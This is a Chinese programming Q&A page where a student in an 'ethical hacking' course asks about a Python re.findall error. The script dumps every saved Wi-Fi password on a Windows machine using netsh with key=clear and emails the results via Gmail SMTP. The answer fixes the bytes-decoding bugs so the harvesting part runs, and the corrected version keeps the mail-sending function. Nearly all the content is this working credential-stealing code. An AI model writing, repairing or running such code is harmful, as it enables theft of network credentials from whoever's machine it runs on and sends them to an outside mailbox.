如何解决在re库中使用findall时出错
我正在观看道德黑客课程,当我上这堂课时遇到错误,我不知道为什么 我尝试过,但这里出现错误:
File "D:\send_emails.py",line 14,in <module>
network_names_list = re.findall('(?:Profile\s*:\s)(.*)',networks)
File "C:\Users\maha_\AppData\Local\Programs\Python\Python38\lib\re.py",line 241,in findall
return _compile(pattern,flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object
这是我的代码:
import subprocess,smtplib,re
def send_mail(email,password,message):
server = smtplib.SMTP("smtp.gmail.com",587)
server.starttls()
server.login(email,password)
server.sendmail(email,email,message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command,shell=True)
network_names_list = re.findall('(?:Profile\s*:\s)(.*)',networks)
result = ""
for networks_names in network_names_list:
command = 'netsh wlan show profile ' + '"' + networks_names + '" ' +" key=clear"
passwords = subprocess.check_output(command,shell=True)
result = result + passwords
send_mail("mygmail","mypassword",result)
解决方法
subprocess.check_output(command,shell=True)
返回一个字节对象
使用subprocess.check_output(command,shell=True).decode()
您还将在 result = result + passwords
遇到错误,因为您无法将字符串连接为字节。而是在连接前在passwords
上使用.decode()。
所以您的最终代码应该是
import subprocess,smtplib,re
def send_mail(email,password,message):
server = smtplib.SMTP("smtp.gmail.com",587)
server.starttls()
server.login(email,password)
server.sendmail(email,email,message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command,shell=True).decode()
network_names_list = re.findall('(?:Profile\s*:\s)(.*)',networks)
result = ""
for networks_names in network_names_list:
command = "netsh wlan show profile " + networks_names + " key=clear"
passwords = subprocess.check_output(command,shell=True)
result = result + passwords.decode()
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。